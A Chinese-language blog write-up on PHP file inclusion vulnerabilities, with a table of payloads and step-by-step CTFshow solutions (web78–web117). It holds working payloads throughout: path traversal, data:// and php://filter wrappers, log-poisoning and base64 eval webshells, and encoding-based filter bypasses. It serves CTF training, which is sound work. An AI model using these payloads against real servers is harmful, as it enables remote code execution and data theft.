文件包含&&靶场实现

文件包含漏洞(File Inclusion Vulnerability)是 Web 安全中常见的高危漏洞,主要分为 本地文件包含(LFI)远程文件包含(RFI)

1、典型利用方式

利用方式 示例 Payload 说明
路径遍历 ?page=../../../etc/passwd 读取系统敏感文件
空字节截断 ?page=../../etc/passwd%00 截断后缀(PHP <5.3.4有效)
日志文件注入 ?page=/var/log/apache2/access.log 通过 User-Agent 注入 PHP 代码并包含日志文件
PHP 伪协议 ?page=php://filter/convert.base64-encode/resource=index.php 读取 PHP 源码(Base64 编码)
Session 文件包含 ?page=/tmp/sess_[session_id] 利用 Session 文件注入代码

2、CTFshow靶场演习

web78

代码无过滤,使用data伪协议查看文件,然后输出文件

?file=data://text/plain,<?php system("ls")?>

?file=data://text/plain,<?php system("tac flag.php")?>

web79

本题将php替换???

三种方法

1、<?= ?>用于输出,等同于- <?php echo ; ?>可以直接使用

?file=data://text/plain,<?=system('ls') ?>

得到文件

?file=data://text/plain,<?=system("tac flag.*")?>

使用*模糊查找

得到flag

2、base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #<?php system("ls")?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs= #<?php system("tac flag.php");

得到flag

3、post请求

?file=data://text/plain,<?=eval($_POSTa);?>

a=system("ls");

a=system("tac flag.php");

得到flag

web80

本题php,data过滤

日志文件包含

?file=../../../../var/log/nginx/access.log

在UA头改为 <?php eval($_POSTa); ?>

post请求 a=system("ls");

a=system("tac fl0g.php");

有时候没有第一时间回显需要多发送几次

可以用hackbar执行

也可以用BP执行

web81

本题php,data,:已过滤

不耽误用日志

跟上题一样

?file=../../../../var/log/nginx/access.log

ua <?php eval($_POSTa); ?>

post a=system("ls");

a=system("tac fl0g.php");

得到flag

web87

本题php data : .已过滤,这题有file和content两个传参,而且还将输入进行了一次url解码

php://filter/write=convert.base64-encode/resource=1.php进行url逐字符编码两次

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,

所以最终被解码的字符仅有"phpdie"和我们传入的其他字符phpdie是六个字符所以需要加上aa

因为base64算法解码时是4个byte一组,所以给他增加2个"a"一共8个字符。

这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

#<?php @eval($_POST1);?>

接着执行post请求得到flag

a=system("ls");

a=system("tac fl0g.php");

web88

题目中过滤php和一堆字符,而且设定不区分大小写

使用data协议,base64后的编码不能有/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i"这些

一个字母通常有=,传入参数多加几个字母base后得通常没有过滤字符

data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz5j #<?php @eval($_POST'ccc');?>c

ccc=system("ls");

ccc=system("tac fl0g.php");

得到flag

web116

复制代码
下载视频用binwalk查看文件内容,看到里面有一个png文件分离一下
sudo binwalk -e '/root/Desktop/w5P98-tV.mp4' -D 'png:png' --run-as=root
分离出代码如下

由代码得知存在文件包含

访问?file=flag.php

得到flag

web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:

post传入:contents=?<hp pe@av(l_$EGT1;)>?

/hack.php?1=system('ls');

/hack.php?1=system('tac flag.php');

得到flag

相关推荐
treesforest7 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
上海云盾第一敬业销售7 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手7 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub7 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei6117 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux7 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
持敬chijing7 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
顾凌陵7 天前
Web安全二阶段综合测试:知识点速查与实战技巧
安全·web安全
Chengbei117 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
AI78408 天前
安全左移:网络安全从“亡羊补牢”走向“未雨绸缪”
网络·安全·web安全